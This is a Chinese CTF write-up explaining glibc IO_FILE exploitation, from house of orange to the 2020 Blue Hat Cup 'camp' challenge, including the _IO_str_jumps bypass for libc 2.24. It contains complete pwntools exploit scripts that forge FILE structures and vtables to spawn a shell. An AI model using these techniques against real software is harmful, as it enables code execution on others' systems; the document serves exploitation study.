IO_FILE学习


本文用于记录IO_FILE的利用原理思路以及构造模板

首先我们知道内核启动的时候默认打开3个I/O设备文件,标准输入文件stdin,标准输出文件stdout,标准错误输出文件stderr,分别得到文件描述符 0, 1, 2,而这三个I/O文件的类型为指向FILE的指针,而FILE实际上就是_IO_FILE

typedef struct _IO_FILE FILE;
extern struct _IO_FILE *stdin;        /* Standard input stream.  */
extern struct _IO_FILE *stdout;        /* Standard output stream.  */
extern struct _IO_FILE *stderr;        /* Standard error output stream.  */
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;

_IO_FILE结构体定义如下

struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

其中_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr_定义如下

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr_都是_IO_FILE_plus结构体指针,除了这三个以外,还有一个_IO_list_all也是_IO_FILE_plus结构体指针,用来管理所有的_IO_FILE

extern struct _IO_FILE_plus *_IO_list_all;

我们再看看_IO_FILE_plus结构体的定义

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

_IO_FILE_plus包含一个_IO_FILE结构体和一个_IO_jump_t结构体类型的指针,记作vtable,我们再看到IO_jump_t结构体定义

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

于是整个_IO_FILE_plus结构体的示意图如下

IO_FILE

_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr__IO_list_all都是通过_IO_FILE结构体中的_chain指针相连的,而_chain指针也是一个_IO_FILE结构体指针

struct _IO_FILE *_chain;

它们的连接顺序如下

glibc中有一个函数_IO_flush_all_lockp,该函数的功能是刷新所有FILE结构体的输出缓冲区

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
    _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;

      if (do_lock)
    _IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
    {
      /* Something was added to the list.  Start all over again.  */
      fp = (_IO_FILE *) _IO_list_all;
      last_stamp = _IO_list_all_stamp;
    }
      else
    fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

根据大佬的分析,以下三种操作会触发_IO_flush_all_lockp

libc执行abort函数时。
程序执行exit函数时。
程序从main函数返回时。

我这里只分析第一种,libc执行abort函数时,我们知道,当malloc出错时会执行malloc_printerr函数,源码如下

malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)
    abort ();
}

可以看到malloc_printerr函数调用了libc_message函数,跟进libc_message

void
__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  va_start (ap, fmt);

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif
  ......
  ......
  va_end (ap);

  if (do_abort)
    {
      BEFORE_ABORT (do_abort, written, fd);

      /* Kill the application.  */
      abort ();
    }
}

__libc_message函数调用了abort函数,我们继续跟进abort函数

void
abort (void)
{
  struct sigaction act;
  sigset_t sigs;

  /* First acquire the lock.  */
  __libc_lock_lock_recursive (lock);

  /* Now it's for sure we are alone.  But recursive calls are possible.  */

  ......

  /* Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }
......

}

然后abort又调用了fflush函数

#define fflush(s) _IO_flush_all_lockp (0)

而实际上fflush就是_IO_flush_all_lockp,继续跟进到_IO_flush_all_lockp函数中

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;//将_IO_list_all赋给fp
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
    _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)//我们的目标,在伪造的FILE结构体中将_IO_OVERFLOW设置为system,fp开头的值,即_flag设置为/bin/sh
          //要执行_IO_OVERFLOW,我们需要满足if判断的条件
    result = EOF;

      if (do_lock)
    _IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
    {
      /* Something was added to the list.  Start all over again.  */
      fp = (_IO_FILE *) _IO_list_all;
      last_stamp = _IO_list_all_stamp;
    }
      else
    fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

根据源码,我们能得出,要执行_IO_OVERFLOW函数,需要满足以下两种条件中的一种

fp->_mode <= 0 
&& fp->_IO_write_ptr > fp->_IO_write_base

或者

_IO_vtable_offset (fp) == 0//# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
&& fp->_mode > 0
&& fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base

很明显,第一种条件要比第二种更容易满足,条件二除了当前FILE结构体,还涉及到一个_wide_data结构体,在此不作讨论,仅讨论第一种情况下的利用实现

_IO_flush_all_lockp源码中,我们看到_IO_OVERFLOW函数的第一个参数是从_IO_list_all开始的一系列_IO_FILE结构体,_IO_flush_all_lockp会从_IO_list_all开始沿着_chian寻找到下一个IO_FILE并刷新。一般情况下_IO_list_all的值是_IO_2_1_stderr的指针,如果我们能够将_IO_list_all的值修改为我们可控的区域的地址,然后在该区域伪造一个FILE结构体,按照if条件设置好对应的值,将_IO_OVERFLOW设置为system函数的地址,这样当我们触发malloc_printerr时便会沿着调用链一路执行,最终执行system("/bin/sh")

手动构造FILE结构体比较麻烦,推荐veritas501师傅写的FILE结构体伪造模块,或者raycp师傅的pwn_debug项目,也有对应的FILE结构体伪造模块

通过两个例题加深对IO_FILE伪造的理解

0x1.house_of_orange

完整过程就不说了,重点在于伪造FILE结构体

程序存在堆溢出,并且最大可申请0x1000的chunk,先利用堆溢出修改topchunk的大小,再申请一个大于topchunk大小的chunk,将topchunk放入unsortedbin(操作原理就不说了,可以去看看别的师傅的讲解),再申请一个largebin大小的chunk就可以分别泄露出libc地址和heap地址了。接下来就是最关键的操作,将unsortedbin的size修改为0x61,并且直接将unsortedbin伪造为一个FILE结构体

#借助pwn_debug进行FILE结构体构造
payload = 'a'*0x400 #largebin
payload += p64(0)+p64(0x21)#orange结构体在用户申请的chunk下方,大小为0x20
payload += p32(1)+p32(0x1f)+p64(0)#orange结构体有两个值,一个为price,一个为color,分别占4字节
fake_file = IO_FILE_plus()#创建一个IO_FILE对象
fake_file._flags = u64('/bin/sh\x00')#设置_flag为binsh,_flag的位置为unsorted bin的presize
fake_file._IO_read_ptr = 0x61#修改unsorted bin的size为0x61
fake_file._IO_read_base=_IO_list_all-0x10#修改unsorted bin的bk指针为_IO_list_all-0x10
fake_file._IO_write_ptr=0
fake_file._IO_write_ptr=1#满足_IO_write_ptr > _IO_write_ptr
fake_file._mode=0#满足_mode<=0
fake_file.vtable=heap_base+0x4f0+fake_file.size#设置vtable指向fake_file下方
pay += str(fake_file)
pay += p64(0)*3  # vtable,_IO_OVERFLOW在_IO_jump_t中的偏移为0x18
pay += p64(system)  # 设置_IO_OVERFLOW为system,

upgrade(0x800, pay, 1, 1)

解释一下这一段,将unsorted bin的bk指针设置为_IO_list_all-0x10,这样当我们申请chunk时便会触发unsorted bin attack

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

结果便是将main_arena+88写入_IO_list_all,则_IO_list_all指向了main_arena+88,因为我们将unsorted bin的size修改为0x61,这个unsorted bin会被放入大小为0x60的small bin中,0x60的smallbin地址的存储位置相对于main_arena+88为0x68,而chain在FILE结构体中的偏移也为0x68。顺便附上结构体的偏移量

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

又由于unsortedbin attack的缘故,会触发如下代码

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);

malloc会出错,这样就会调用malloc_printerr函数,触发_IO_flush_all_lockp,通过IO_list_all找到找到main_arena+88,再通过chian找到我们伪造的FILE结构体,然后找到vtable,触发_IO_OVERFLOW,执行system(“/bin/sh”)

0x2.蓝帽杯2020 camp

libc2.23,保护全开

菜单题

看到第一个功能stdout

unsigned __int64 out()
{
  int v0; // eax
  int nbytes; // [rsp+4h] [rbp-1Ch]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("size:");
  nbytes = sub_C31();
  if ( nbytes < 0 || nbytes > 0xF0 )
  {
    puts("error.");
    exit(1);
  }
  puts("content:");
  buf = malloc(nbytes);
  read(0, buf, (unsigned int)nbytes);
  strcpy((char *)&unk_202040 + 24 * chunk_num[0], "stdout");
  memcpy(stdout, buf, nbytes);
  *((_DWORD *)&unk_202040 + 6 * chunk_num[0] + 4) = nbytes;
  v0 = chunk_num[0]++;
  *((_QWORD *)&unk_202040 + 3 * v0 + 1) = buf;
  printf("Finish.");
  return __readfsqword(0x28u) ^ v4;
}

malloc一个chunk,往chunk里写东西,再将chunk里的数据memcpy到_IO_2_1_stdout_结构体中

剩下的stdin和stderr功能也都和stdout一样,只不过将_IO_2_1_stdout_换成了_IO_2_1_stdin__IO_2_1_stderr_

log功能就是打印出所有的chunk的内容,clear就是free掉所有chunk并将指针清零

一开始没找到漏洞点,后来看到了stdout、stdin和stderr,想起来利用_IO_FILE

开始利用

首先泄露libc地址,既然能直接往_IO_2_1_stdout_上写数据,那就直接利用_IO_2_1_stdout_泄露libc地址。然后修改stdout的vtable指针指向stdout,将stderr构造成vtable,之后由于会调用printf,printf的调用栈为

vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfilec
_IO_file_write
write

这里引用ctfwiki上的说明

printf和puts是常用的输出函数,在printf的参数是以'\n'结束的纯字符串时,printf会被优化为puts函数并去除换行符。
puts在源码中实现的函数是_IO_puts,这个函数的操作与fwrite的流程大致相同,函数内部同样会调用vtable中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口write函数。

因为在vtable中有

JUMP_FIELD(_IO_xsputn_t, __xsputn);

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

看到_IO_puts函数

int
_IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

其中调用了_IO_sputn,第一个参数为_IO_stdout,找到_IO_stdout定义如下

#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))

所以,第一个参数就为_IO_2_1_stdout_结构体,如果我们能将vtable中的_IO_sputn覆盖成system函数,将_IO_2_1_stdout_结构体的_flags覆盖成/bin/sh,这样就能调用system(“/bin/sh”)

完整exp如下

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
io=process('./camp')
elf=ELF('camp')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def stdout(size, content):
    io.recvuntil('>>>')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(content)


def stdin(size, content):
    io.recvuntil('>>>')
    io.sendline('2')
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(content)


def stderr(size, content):
    io.recvuntil('>>>')
    io.sendline('3')
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(content)


def show():
    io.recvuntil('>>>')
    io.sendline('4')


def clear():
    io.recvuntil('>>>')
    io.sendline('5')


payload = p64(0xfbad1887)+p64(0)*3+p8(0) #修改_IO_2_1_stdout_结构体,泄露libc地址
stdout(len(payload), payload)

libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c36e0
system_addr = libc_base+libc.symbols['system']
_IO_2_1_stderr_ = libc_base+libc.symbols['_IO_2_1_stderr_']
_IO_2_1_stdin_=libc_base+libc.symbols['_IO_2_1_stdin_']
_IO_2_1_stdout_=libc_base+libc.symbols['_IO_2_1_stdout_']
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('_IO_2_1_stderr_ => {}'.format(hex(_IO_2_1_stderr_)))
log.success('_IO_2_1_stdin_ => {}'.format(hex(_IO_2_1_stdin_)))
log.success('_IO_2_1_stdout_ => {}'.format(hex(_IO_2_1_stdout_)))
payload=p64(0)*7+p64(system_addr) #将stderr结构体伪造成vtable,前7个函数全部置0,第八个,也就是_IO_xsputn函数设置为system
stderr(len(payload),payload)

payload='/bin/sh\x00'+p64(libc_base+0x3c56a3)*7+p64(libc_base+0x3c56a4)+p64(0)*4
payload+=p64(_IO_2_1_stdin_)+p64(1)+p64(0xffffffffffffffff)+p64(0xa000000)+p64(libc_base+0x3c6780)
payload+=p64(0xffffffffffffffff)+p64(0)+p64(libc_base+0x3c47a0)+p64(0)*3
payload+=p64(0x00000000ffffffff)+p64(0)*2+p64(_IO_2_1_stderr_)#完整地将stdout结构体重新设置,除了_flags设置为/bin/sh以及将vtable设置为stderr结构体的地址以外,其他的都不变,这样的话当执行printf时,会通过我们伪造的vtable指针找到sterr结构体来调用_IO_xsputn,实际上调用的是system函数,而stdout开头的值我们已经设置为了binsh,这样就能执行system("/bin/sh")了(因为要将stdout结构体全部设置,所以就不用IO_FILE结构体伪造模块了,那样会更加麻烦一些,毕竟有那么多的成员)
#gdb.attach(io)
stdout(len(payload),payload)


io.interactive()

泄露libc地址

修改前的stdout

修改后的stdout

修改后的stderr

这题除了用2.23下的做法以外还可以用2.24下的做法,之后会用2.24下的做法进行利用,也就是_IO_str_jumps(听说比赛的时候给的是2.23的libc,远程是2.24的,太屑了)

接下来进入高版本libc下IO_FILE的利用方法,也就是libc>=2.24

相对于libc2.23以下的版本,2.24对vtable的位置进行了检查,检查内容如下

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

如果vtable的地址不在__start___libc_IO_vtables__stop___libc_IO_vtables之间的话,就会调用_IO_vtable_check函数,_IO_vtable_check函数如下

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

_IO_vtable_check函数会检查vtable是否是外部的合法vtable,如果不是则抛出错误

vtable的起始__start___libc_IO_vtables的地址为

pwndbg> p &__start___libc_IO_vtables
$1 = (const char (*)[]) 0x7ffff7dce8c0 <_IO_helper_jumps>

vtable的结束__stop___libc_IO_vtables的地址为

pwndbg> p &__stop___libc_IO_vtables
$2 = (const char (*)[]) 0x7ffff7dcf628

我们在house of orange中将vtable伪造在了堆中,在camp中将vtable伪造在了_IO_2_1_stderr_中,2.24下首先检查vtable是否在__start___libc_IO_vtables__stop___libc_IO_vtables之间,如果不是则检查是否是合法外部vtable,如果依然不是则抛出错误,2.23下的伪造方式显然不能通过2.24的检查。

根据大佬们的说法,可以利用_IO_str_jumps这个vtable,vtable如下

pwndbg> p _IO_str_jumps 
$19 = {
  __dummy = 0, 
  __dummy2 = 0, 
  __finish = 0x7ffff7a906b0 <_IO_str_finish>, 
  __overflow = 0x7ffff7a90310 <__GI__IO_str_overflow>, 
  __underflow = 0x7ffff7a902b0 <__GI__IO_str_underflow>, 
  __uflow = 0x7ffff7a8e900 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a90690 <__GI__IO_str_pbackfail>, 
  __xsputn = 0x7ffff7a8e960 <__GI__IO_default_xsputn>, 
  __xsgetn = 0x7ffff7a8eaf0 <__GI__IO_default_xsgetn>, 
  __seekoff = 0x7ffff7a907e0 <__GI__IO_str_seekoff>, 
  __seekpos = 0x7ffff7a8eea0 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a8ed70 <_IO_default_setbuf>, 
  __sync = 0x7ffff7a8f120 <_IO_default_sync>, 
  __doallocate = 0x7ffff7a8ef10 <__GI__IO_default_doallocate>, 
  __read = 0x7ffff7a90160 <_IO_default_read>, 
  __write = 0x7ffff7a90170 <_IO_default_write>, 
  __seek = 0x7ffff7a90140 <_IO_default_seek>, 
  __close = 0x7ffff7a8f120 <_IO_default_sync>, 
  __stat = 0x7ffff7a90150 <_IO_default_stat>, 
  __showmanyc = 0x7ffff7a90180 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a90190 <_IO_default_imbue>
}

这个vtable中的_IO_str_finish_IO_str_overflow函数存在相对地址调用,首先看到_IO_str_finish,源码如下

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

当满足如下条件时

1.fp->_IO_buf_base
2.!(fp->_flags & _IO_USER_BUF) //_flags&_IO_USER_BUF要为0,而#define _IO_USER_BUF 1,所以_flags的最后一位要为0

便会调用(((_IO_strfile *) fp)->_s._free_buffer),参数为fp->_IO_buf_base,我们可以将fp->_s._free_buffer伪造为system函数,将fp->_IO_buf_base设置为/bin/sh,那么fp->_s._free_buffer的偏移为多少,我们在gdb中使用如下命令查看

pwndbg> p/x &((_IO_strfile *) stdout)->_s._free_buffer
$14 = 0x7ffff7dd36e8
pwndbg> p &_IO_2_1_stdout_ 
$15 = (struct _IO_FILE_plus *) 0x7ffff7dd3600 <_IO_2_1_stdout_>
pwndbg> p/x 0x7ffff7dd36e8-0x7ffff7dd3600
$16 = 0xe8

可以得到_s._free_buffer相对于IO_FILE结构体的偏移为0xe8,类似的,用这几条命令查看_s._free_buffer相对于stdin和stderr的偏移也为0xe8

那么,该如何触发fp->_s._free_buffer?在house of orange的利用中,我们通过触发_IO_flush_all_lockp,并设置好IO_FILE中一些成员的值来满足约束,调用_IO_OVERFLOW函数,而_IO_OVERFLOW在vtable中的偏移为0x18,_IO_finish的偏移为0x10,在_IO_str_jumps_IO_str_finish的偏移也为0x10,于是我们将vtable指向_IO_str_jumps-8,这样当调用_IO_OVERFLOW函数时实际上就是调用了_IO_str_jumps中的_IO_str_finish函数,在构造触发_IO_OVERFLOW的条件的同时,我们将_IO_buf_base设置为/bin/sh,将fp+0xe8设置为system。总结一下构造的条件如下

fp->_flags&1==0
fp->_mode <= 0 
fp->_IO_write_ptr > fp->_IO_write_base
fp->_IO_buf_base=binsh
fp->vtable=_IO_str_jumps-8
fp+0xe8=system

接下来我们用2.24下的做法来解决house of orange和camp这两道题,并且增加另外几道例题

house of orange的IO_FILE修改为如下

pay = 'e'*0x400
pay += p64(0)+p64(0x21)
pay += p32(1)+p32(0x1f)+p64(0)
fake_file = IO_FILE_plus()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base=_IO_list_all-0x10
fake_file._IO_buf_base=binsh_addr
fake_file._IO_write_base=0
fake_file._IO_write_ptr=1
fake_file._mode=0
fake_file.vtable=_IO_str_jumps-8
pay += str(fake_file).ljust(0xe8,'\x00')+p64(system)

伪造的IO_FILE按照上面所说的条件进行构造,但并不是百分百的成功率,原因可以看这位师傅写的新手向——IO_file全流程浅析

再看到camp的在2.24下的用法

#!/usr/bin/python
from pwn import *
from pwn_debug import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./camp')
elf = ELF('camp')
# libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/usr/lib/freelibs/amd64/2.24-3ubuntu1_amd64/libc-2.24.so')


def stdout(size, content):
    io.recvuntil('>>>')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(content)


def stdin(size, content):
    io.recvuntil('>>>')
    io.sendline('2')
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(content)


def stderr(size, content):
    io.recvuntil('>>>')
    io.sendline('3')
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(content)


def show():
    io.recvuntil('>>>')
    io.sendline('4')


def clear():
    io.recvuntil('>>>')
    io.sendline('5')


payload = p64(0xfbad1887)+p64(0)*3+p8(0)
stdout(len(payload), payload)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c2600
# gdb.attach(io)
system_addr = libc_base+libc.symbols['system']
_IO_2_1_stderr_ = libc_base+libc.symbols['_IO_2_1_stderr_']
binsh_addr = libc_base+libc.search('/bin/sh\x00').next()
_IO_str_jumps = libc_base+0x3be4c0
_IO_2_1_stdin_ = libc_base+libc.symbols['_IO_2_1_stdin_']
_IO_2_1_stdout_ = libc_base+libc.symbols['_IO_2_1_stdout_']
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('_IO_2_1_stderr_ => {}'.format(hex(_IO_2_1_stderr_)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))
log.success('_IO_str_jumps => {}'.format(hex(_IO_str_jumps)))
log.success('_IO_2_1_stdin_ => {}'.format(hex(_IO_2_1_stdin_)))
log.success('_IO_2_1_stdout_ => {}'.format(hex(_IO_2_1_stdout_)))
'''
payload=p64(0)*7+p64(system_addr)
stderr(len(payload),payload)

payload='/bin/sh\x00'+p64(libc_base+0x3c56a3)*7+p64(libc_base+0x3c56a4)+p64(0)*4
payload+=p64(_IO_2_1_stdin_)+p64(1)+p64(0xffffffffffffffff)+p64(0xa000000)+p64(libc_base+0x3c6780)
payload+=p64(0xffffffffffffffff)+p64(0)+p64(libc_base+0x3c47a0)+p64(0)*3
payload+=p64(0x00000000ffffffff)+p64(0)*2+p64(_IO_2_1_stderr_)
#gdb.attach(io)
stdout(len(payload),payload)
'''
fake_file = IO_FILE_plus()
fake_file._flags = 0
fake_file._IO_buf_base = binsh_addr
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file._mode = 0
fake_file.vtable = _IO_str_jumps-8
payload = str(fake_file).ljust(0xe8, '\x00')+p64(system_addr)

stdout(len(payload), payload)
